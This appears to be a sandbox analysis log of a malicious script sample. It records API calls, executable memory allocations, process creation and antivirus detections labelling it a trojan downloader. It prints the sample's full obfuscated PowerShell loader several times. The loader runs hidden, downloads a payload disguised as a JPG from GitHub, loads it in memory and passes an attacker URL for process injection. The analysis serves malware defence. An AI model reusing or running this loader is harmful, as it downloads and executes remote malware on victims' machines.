region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02499000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02750000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02751000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02752000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02753000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02754000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02755000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02756000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02757000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02758000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02759000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0275a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0275b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0275c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0275d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0275e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0275f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02860000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02861000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02862000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02863000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02864000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCc5R3ppbWEnKydnZVVybCA9IGZ3aWh0dHBzOi8vcmEnKyd3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9DcnlwdGVyc0EnKyduZFRvb2xzT2ZpY2lhbC9aSVAvcmVmcy9oZWFkcy9tYWluL0RldGFoTm90ZV9WLmpwZyBmd2k7OScrJ0d6d2ViQ2xpZW50ID0gTmV3LU9iamUnKydjdCBTeXN0ZW0uTmUnKyd0LldlYkNsaWVudDs5R3ppbWFnZUJ5dGVzID0gOUd6d2ViQ2xpZW4nKyd0LkRvdycrJ25sb2FkRGF0YSg5R3ppbWFnZVVybCk7OUd6aW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbicrJ2coOUd6aW1hZ2VCeXRlcyk7OUd6c3RhcnRGbGFnID0gZndpPDxCQVNFNjRfU1RBUlQ+PmZ3aTs5R3plbmRGbGFnID0gZndpPDxCQVNFNjRfRU5EPj5md2k7OUd6c3RhcnRJbmRleCcrJyA9IDlHemltYWdlVGV4dC5JbmRleE9mKDlHenN0YXJ0RmxhZyk7OUd6ZW5kSW5kZXggPSA5R3ppbWFnZVRleHQuSW5kZXhPZig5R3plbmQnKydGbGFnKTs5R3pzdGFydCcrJ0luJysnZGV4IC1nZSAwIC1hbmQgOUd6ZW5kSScrJ25kZXggLWd0IDlHenN0YXJ0SW5kZXg7OUd6c3RhcnRJbmRleCArPSA5JysnR3pzdGFydEZsYWcuTGVuZ3RoOzlHemJhc2U2NExlbmd0aCA9IDlHemVuZEluZGV4IC0gOUd6c3RhcnRJbmRleDs5R3piYXNlNjRDb21tYW5kID0gOUd6aW1hZ2VUZXh0LlN1YnN0cmluZyg5R3pzdGFydEluZGV4LCA5R3piYXNlNjQnKydMZW5ndGgpOzlHemNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoOUd6YmFzZTY0Q29tbWFuZCk7OUd6bG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKDlHemNvJysnbW1hbmRCeXRlcyk7OUd6dmFpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldCcrJ2hvZChmd2lWQUlmd2kpJysnOzlHenZhaU1ldGhvZC5JbnZva2UoOUd6bnVsbCwgQChmd2l0eHQuNDQ0NDZlc2FiYmJiYmJld21hZGFtLzQzMS44NzEuNjQuODkxLy86cHR0aGZ3aSwgZicrJ3dpZGVzYXRpdmFkb2Z3aSwgZncnKydpZGVzYXRpdmFkb2Z3aSwgZndpZGVzYXRpdmFkb2Z3aSwgZndpQWRkSW5Qcm9jZXNzMzJmd2ksIGZ3aWRlc2F0aXZhZG9md2ksIGZ3aWRlc2F0aXZhZG9md2kpKTsnKS5yRVBMQWNlKChbQ0hBcl0xMDIrW0NIQXJdMTE5K1tDSEFyXTEwNSksW1NUUmlOZ11bQ0hBcl0zOSkuckVQTEFjZSgnOUd6JyxbU1RSaU5nXVtDSEFyXTM2KSB8LigoR3YgJyptZHIqJykubkFtZVszLDExLDJdLWpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
cmdline powershell -command $Codigo = 'KCc5R3ppbWEnKydnZVVybCA9IGZ3aWh0dHBzOi8vcmEnKyd3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9DcnlwdGVyc0EnKyduZFRvb2xzT2ZpY2lhbC9aSVAvcmVmcy9oZWFkcy9tYWluL0RldGFoTm90ZV9WLmpwZyBmd2k7OScrJ0d6d2ViQ2xpZW50ID0gTmV3LU9iamUnKydjdCBTeXN0ZW0uTmUnKyd0LldlYkNsaWVudDs5R3ppbWFnZUJ5dGVzID0gOUd6d2ViQ2xpZW4nKyd0LkRvdycrJ25sb2FkRGF0YSg5R3ppbWFnZVVybCk7OUd6aW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbicrJ2coOUd6aW1hZ2VCeXRlcyk7OUd6c3RhcnRGbGFnID0gZndpPDxCQVNFNjRfU1RBUlQ+PmZ3aTs5R3plbmRGbGFnID0gZndpPDxCQVNFNjRfRU5EPj5md2k7OUd6c3RhcnRJbmRleCcrJyA9IDlHemltYWdlVGV4dC5JbmRleE9mKDlHenN0YXJ0RmxhZyk7OUd6ZW5kSW5kZXggPSA5R3ppbWFnZVRleHQuSW5kZXhPZig5R3plbmQnKydGbGFnKTs5R3pzdGFydCcrJ0luJysnZGV4IC1nZSAwIC1hbmQgOUd6ZW5kSScrJ25kZXggLWd0IDlHenN0YXJ0SW5kZXg7OUd6c3RhcnRJbmRleCArPSA5JysnR3pzdGFydEZsYWcuTGVuZ3RoOzlHemJhc2U2NExlbmd0aCA9IDlHemVuZEluZGV4IC0gOUd6c3RhcnRJbmRleDs5R3piYXNlNjRDb21tYW5kID0gOUd6aW1hZ2VUZXh0LlN1YnN0cmluZyg5R3pzdGFydEluZGV4LCA5R3piYXNlNjQnKydMZW5ndGgpOzlHemNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoOUd6YmFzZTY0Q29tbWFuZCk7OUd6bG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKDlHemNvJysnbW1hbmRCeXRlcyk7OUd6dmFpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldCcrJ2hvZChmd2lWQUlmd2kpJysnOzlHenZhaU1ldGhvZC5JbnZva2UoOUd6bnVsbCwgQChmd2l0eHQuNDQ0NDZlc2FiYmJiYmJld21hZGFtLzQzMS44NzEuNjQuODkxLy86cHR0aGZ3aSwgZicrJ3dpZGVzYXRpdmFkb2Z3aSwgZncnKydpZGVzYXRpdmFkb2Z3aSwgZndpZGVzYXRpdmFkb2Z3aSwgZndpQWRkSW5Qcm9jZXNzMzJmd2ksIGZ3aWRlc2F0aXZhZG9md2ksIGZ3aWRlc2F0aXZhZG9md2kpKTsnKS5yRVBMQWNlKChbQ0hBcl0xMDIrW0NIQXJdMTE5K1tDSEFyXTEwNSksW1NUUmlOZ11bQ0hBcl0zOSkuckVQTEFjZSgnOUd6JyxbU1RSaU5nXVtDSEFyXTM2KSB8LigoR3YgJyptZHIqJykubkFtZVszLDExLDJdLWpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('9Gzima'+'geUrl = fwihttps://ra'+'w.githubusercontent.com/CryptersA'+'ndToolsOficial/ZIP/refs/heads/main/DetahNote_V.jpg fwi;9'+'GzwebClient = New-Obje'+'ct System.Ne'+'t.WebClient;9GzimageBytes = 9GzwebClien'+'t.Dow'+'nloadData(9GzimageUrl);9GzimageText = [System.Text.Encoding]::UTF8.GetStrin'+'g(9GzimageBytes);9GzstartFlag = fwi<<BASE64_START>>fwi;9GzendFlag = fwi<<BASE64_END>>fwi;9GzstartIndex'+' = 9GzimageText.IndexOf(9GzstartFlag);9GzendIndex = 9GzimageText.IndexOf(9Gzend'+'Flag);9Gzstart'+'In'+'dex -ge 0 -and 9GzendI'+'ndex -gt 9GzstartIndex;9GzstartIndex += 9'+'GzstartFlag.Length;9Gzbase64Length = 9GzendIndex - 9GzstartIndex;9Gzbase64Command = 9GzimageText.Substring(9GzstartIndex, 9Gzbase64'+'Length);9GzcommandBytes = [System.Convert]::FromBase64String(9Gzbase64Command);9GzloadedAssembly = [System.Reflection.Assembly]::Load(9Gzco'+'mmandBytes);9GzvaiMethod = [dnlib.IO.Home].GetMet'+'hod(fwiVAIfwi)'+';9GzvaiMethod.Invoke(9Gznull, @(fwitxt.44446esabbbbbbewmadam/431.871.64.891//:ptthfwi, f'+'widesativadofwi, fw'+'idesativadofwi, fwidesativadofwi, fwiAddInProcess32fwi, fwidesativadofwi, fwidesativadofwi));').rEPLAce(([CHAr]102+[CHAr]119+[CHAr]105),[STRiNg][CHAr]39).rEPLAce('9Gz',[STRiNg][CHAr]36) |.((Gv '*mdr*').nAme[3,11,2]-joIn'')"
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2088
thread_handle: 0x000002f0
process_identifier: 2084
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCc5R3ppbWEnKydnZVVybCA9IGZ3aWh0dHBzOi8vcmEnKyd3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9DcnlwdGVyc0EnKyduZFRvb2xzT2ZpY2lhbC9aSVAvcmVmcy9oZWFkcy9tYWluL0RldGFoTm90ZV9WLmpwZyBmd2k7OScrJ0d6d2ViQ2xpZW50ID0gTmV3LU9iamUnKydjdCBTeXN0ZW0uTmUnKyd0LldlYkNsaWVudDs5R3ppbWFnZUJ5dGVzID0gOUd6d2ViQ2xpZW4nKyd0LkRvdycrJ25sb2FkRGF0YSg5R3ppbWFnZVVybCk7OUd6aW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbicrJ2coOUd6aW1hZ2VCeXRlcyk7OUd6c3RhcnRGbGFnID0gZndpPDxCQVNFNjRfU1RBUlQ+PmZ3aTs5R3plbmRGbGFnID0gZndpPDxCQVNFNjRfRU5EPj5md2k7OUd6c3RhcnRJbmRleCcrJyA9IDlHemltYWdlVGV4dC5JbmRleE9mKDlHenN0YXJ0RmxhZyk7OUd6ZW5kSW5kZXggPSA5R3ppbWFnZVRleHQuSW5kZXhPZig5R3plbmQnKydGbGFnKTs5R3pzdGFydCcrJ0luJysnZGV4IC1nZSAwIC1hbmQgOUd6ZW5kSScrJ25kZXggLWd0IDlHenN0YXJ0SW5kZXg7OUd6c3RhcnRJbmRleCArPSA5JysnR3pzdGFydEZsYWcuTGVuZ3RoOzlHemJhc2U2NExlbmd0aCA9IDlHemVuZEluZGV4IC0gOUd6c3RhcnRJbmRleDs5R3piYXNlNjRDb21tYW5kID0gOUd6aW1hZ2VUZXh0LlN1YnN0cmluZyg5R3pzdGFydEluZGV4LCA5R3piYXNlNjQnKydMZW5ndGgpOzlHemNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoOUd6YmFzZTY0Q29tbWFuZCk7OUd6bG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKDlHemNvJysnbW1hbmRCeXRlcyk7OUd6dmFpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldCcrJ2hvZChmd2lWQUlmd2kpJysnOzlHenZhaU1ldGhvZC5JbnZva2UoOUd6bnVsbCwgQChmd2l0eHQuNDQ0NDZlc2FiYmJiYmJld21hZGFtLzQzMS44NzEuNjQuODkxLy86cHR0aGZ3aSwgZicrJ3dpZGVzYXRpdmFkb2Z3aSwgZncnKydpZGVzYXRpdmFkb2Z3aSwgZndpZGVzYXRpdmFkb2Z3aSwgZndpQWRkSW5Qcm9jZXNzMzJmd2ksIGZ3aWRlc2F0aXZhZG9md2ksIGZ3aWRlc2F0aXZhZG9md2kpKTsnKS5yRVBMQWNlKChbQ0hBcl0xMDIrW0NIQXJdMTE5K1tDSEFyXTEwNSksW1NUUmlOZ11bQ0hBcl0zOSkuckVQTEFjZSgnOUd6JyxbU1RSaU5nXVtDSEFyXTM2KSB8LigoR3YgJyptZHIqJykubkFtZVszLDExLDJdLWpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000002f8
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -command $Codigo = 'KCc5R3ppbWEnKydnZVVybCA9IGZ3aWh0dHBzOi8vcmEnKyd3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9DcnlwdGVyc0EnKyduZFRvb2xzT2ZpY2lhbC9aSVAvcmVmcy9oZWFkcy9tYWluL0RldGFoTm90ZV9WLmpwZyBmd2k7OScrJ0d6d2ViQ2xpZW50ID0gTmV3LU9iamUnKydjdCBTeXN0ZW0uTmUnKyd0LldlYkNsaWVudDs5R3ppbWFnZUJ5dGVzID0gOUd6d2ViQ2xpZW4nKyd0LkRvdycrJ25sb2FkRGF0YSg5R3ppbWFnZVVybCk7OUd6aW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbicrJ2coOUd6aW1hZ2VCeXRlcyk7OUd6c3RhcnRGbGFnID0gZndpPDxCQVNFNjRfU1RBUlQ+PmZ3aTs5R3plbmRGbGFnID0gZndpPDxCQVNFNjRfRU5EPj5md2k7OUd6c3RhcnRJbmRleCcrJyA9IDlHemltYWdlVGV4dC5JbmRleE9mKDlHenN0YXJ0RmxhZyk7OUd6ZW5kSW5kZXggPSA5R3ppbWFnZVRleHQuSW5kZXhPZig5R3plbmQnKydGbGFnKTs5R3pzdGFydCcrJ0luJysnZGV4IC1nZSAwIC1hbmQgOUd6ZW5kSScrJ25kZXggLWd0IDlHenN0YXJ0SW5kZXg7OUd6c3RhcnRJbmRleCArPSA5JysnR3pzdGFydEZsYWcuTGVuZ3RoOzlHemJhc2U2NExlbmd0aCA9IDlHemVuZEluZGV4IC0gOUd6c3RhcnRJbmRleDs5R3piYXNlNjRDb21tYW5kID0gOUd6aW1hZ2VUZXh0LlN1YnN0cmluZyg5R3pzdGFydEluZGV4LCA5R3piYXNlNjQnKydMZW5ndGgpOzlHemNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoOUd6YmFzZTY0Q29tbWFuZCk7OUd6bG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKDlHemNvJysnbW1hbmRCeXRlcyk7OUd6dmFpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldCcrJ2hvZChmd2lWQUlmd2kpJysnOzlHenZhaU1ldGhvZC5JbnZva2UoOUd6bnVsbCwgQChmd2l0eHQuNDQ0NDZlc2FiYmJiYmJld21hZGFtLzQzMS44NzEuNjQuODkxLy86cHR0aGZ3aSwgZicrJ3dpZGVzYXRpdmFkb2Z3aSwgZncnKydpZGVzYXRpdmFkb2Z3aSwgZndpZGVzYXRpdmFkb2Z3aSwgZndpQWRkSW5Qcm9jZXNzMzJmd2ksIGZ3aWRlc2F0aXZhZG9md2ksIGZ3aWRlc2F0aXZhZG9md2kpKTsnKS5yRVBMQWNlKChbQ0hBcl0xMDIrW0NIQXJdMTE5K1tDSEFyXTEwNSksW1NUUmlOZ11bQ0hBcl0zOSkuckVQTEFjZSgnOUd6JyxbU1RSaU5nXVtDSEFyXTM2KSB8LigoR3YgJyptZHIqJykubkFtZVszLDExLDJdLWpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
filepath: powershell
1 1 0

CreateProcessInternalW

 thread_identifier: 2212
thread_handle: 0x0000044c
process_identifier: 2208
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('9Gzima'+'geUrl = fwihttps://ra'+'w.githubusercontent.com/CryptersA'+'ndToolsOficial/ZIP/refs/heads/main/DetahNote_V.jpg fwi;9'+'GzwebClient = New-Obje'+'ct System.Ne'+'t.WebClient;9GzimageBytes = 9GzwebClien'+'t.Dow'+'nloadData(9GzimageUrl);9GzimageText = [System.Text.Encoding]::UTF8.GetStrin'+'g(9GzimageBytes);9GzstartFlag = fwi<<BASE64_START>>fwi;9GzendFlag = fwi<<BASE64_END>>fwi;9GzstartIndex'+' = 9GzimageText.IndexOf(9GzstartFlag);9GzendIndex = 9GzimageText.IndexOf(9Gzend'+'Flag);9Gzstart'+'In'+'dex -ge 0 -and 9GzendI'+'ndex -gt 9GzstartIndex;9GzstartIndex += 9'+'GzstartFlag.Length;9Gzbase64Length = 9GzendIndex - 9GzstartIndex;9Gzbase64Command = 9GzimageText.Substring(9GzstartIndex, 9Gzbase64'+'Length);9GzcommandBytes = [System.Convert]::FromBase64String(9Gzbase64Command);9GzloadedAssembly = [System.Reflection.Assembly]::Load(9Gzco'+'mmandBytes);9GzvaiMethod = [dnlib.IO.Home].GetMet'+'hod(fwiVAIfwi)'+';9GzvaiMethod.Invoke(9Gznull, @(fwitxt.44446esabbbbbbewmadam/431.871.64.891//:ptthfwi, f'+'widesativadofwi, fw'+'idesativadofwi, fwidesativadofwi, fwiAddInProcess32fwi, fwidesativadofwi, fwidesativadofwi));').rEPLAce(([CHAr]102+[CHAr]119+[CHAr]105),[STRiNg][CHAr]39).rEPLAce('9Gz',[STRiNg][CHAr]36) |.((Gv '*mdr*').nAme[3,11,2]-joIn'')"
filepath_r:
stack_pivoted: 0
creation_flags: 0 ()
inherit_handles: 1
process_handle: 0x00000450
1 1 0
Skyhigh BehavesLike.VBS.Trojan.np
Symantec CL.Downloader!gen11
Avast Script:SNH-gen [Trj]
Kaspersky HEUR:Trojan.Script.Generic
huorong HEUR:TrojanDownloader/PS.NetLoader.aj
AVG Script:SNH-gen [Trj]
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCc5R3ppbWEnKydnZVVybCA9IGZ3aWh0dHBzOi8vcmEnKyd3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9DcnlwdGVyc0EnKyduZFRvb2xzT2ZpY2lhbC9aSVAvcmVmcy9oZWFkcy9tYWluL0RldGFoTm90ZV9WLmpwZyBmd2k7OScrJ0d6d2ViQ2xpZW50ID0gTmV3LU9iamUnKydjdCBTeXN0ZW0uTmUnKyd0LldlYkNsaWVudDs5R3ppbWFnZUJ5dGVzID0gOUd6d2ViQ2xpZW4nKyd0LkRvdycrJ25sb2FkRGF0YSg5R3ppbWFnZVVybCk7OUd6aW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbicrJ2coOUd6aW1hZ2VCeXRlcyk7OUd6c3RhcnRGbGFnID0gZndpPDxCQVNFNjRfU1RBUlQ+PmZ3aTs5R3plbmRGbGFnID0gZndpPDxCQVNFNjRfRU5EPj5md2k7OUd6c3RhcnRJbmRleCcrJyA9IDlHemltYWdlVGV4dC5JbmRleE9mKDlHenN0YXJ0RmxhZyk7OUd6ZW5kSW5kZXggPSA5R3ppbWFnZVRleHQuSW5kZXhPZig5R3plbmQnKydGbGFnKTs5R3pzdGFydCcrJ0luJysnZGV4IC1nZSAwIC1hbmQgOUd6ZW5kSScrJ25kZXggLWd0IDlHenN0YXJ0SW5kZXg7OUd6c3RhcnRJbmRleCArPSA5JysnR3pzdGFydEZsYWcuTGVuZ3RoOzlHemJhc2U2NExlbmd0aCA9IDlHemVuZEluZGV4IC0gOUd6c3RhcnRJbmRleDs5R3piYXNlNjRDb21tYW5kID0gOUd6aW1hZ2VUZXh0LlN1YnN0cmluZyg5R3pzdGFydEluZGV4LCA5R3piYXNlNjQnKydMZW5ndGgpOzlHemNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoOUd6YmFzZTY0Q29tbWFuZCk7OUd6bG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKDlHemNvJysnbW1hbmRCeXRlcyk7OUd6dmFpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldCcrJ2hvZChmd2lWQUlmd2kpJysnOzlHenZhaU1ldGhvZC5JbnZva2UoOUd6bnVsbCwgQChmd2l0eHQuNDQ0NDZlc2FiYmJiYmJld21hZGFtLzQzMS44NzEuNjQuODkxLy86cHR0aGZ3aSwgZicrJ3dpZGVzYXRpdmFkb2Z3aSwgZncnKydpZGVzYXRpdmFkb2Z3aSwgZndpZGVzYXRpdmFkb2Z3aSwgZndpQWRkSW5Qcm9jZXNzMzJmd2ksIGZ3aWRlc2F0aXZhZG9md2ksIGZ3aWRlc2F0aXZhZG9md2kpKTsnKS5yRVBMQWNlKChbQ0hBcl0xMDIrW0NIQXJdMTE5K1tDSEFyXTEwNSksW1NUUmlOZ11bQ0hBcl0zOSkuckVQTEFjZSgnOUd6JyxbU1RSaU5nXVtDSEFyXTM2KSB8LigoR3YgJyptZHIqJykubkFtZVszLDExLDJdLWpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
